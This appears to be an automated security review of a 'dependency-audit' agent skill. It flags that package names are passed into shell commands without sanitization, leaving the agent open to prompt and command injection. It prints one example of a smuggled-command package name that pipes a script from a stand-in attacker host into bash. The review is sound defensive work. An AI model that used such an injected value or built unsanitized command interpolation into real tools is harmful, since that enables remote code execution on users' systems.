The Agent Skills Directory

[COMMAND_EXECUTION] (SAFE): The skill executes standard package manager commands such as npm audit, pnpm outdated, and yarn audit. These operations are inherent to the skill's purpose and are expected behavior.\n- [EXTERNAL_DOWNLOADS] (LOW): The skill invokes npx license-checker, which downloads and executes the latest version of the license-checker package from the npm registry. This is a common practice for this functionality but relies on an external, third-party source.\n- [INDIRECT_PROMPT_INJECTION] (LOW): The skill exhibits a vulnerability surface for command injection due to how it handles project data.\n
Ingestion points: The skill reads package names directly from package.json and tool outputs in agents/dep-auditor.md and commands/audit-deps.md.\n
Boundary markers: There are no explicit instructions or delimiters to prevent the model from executing malicious strings embedded in these files.\n
Capability inventory: The agent has access to a bash environment and commands like npm explain [package-name], pnpm why [package-name], and npm update [package].\n
Sanitization: No sanitization or escaping is applied to package names before they are interpolated into shell commands. A malicious actor could exploit this by naming a dependency with shell metacharacters (e.g., "; curl attacker.com/exploit | bash ;") to achieve arbitrary code execution.

dependency-audit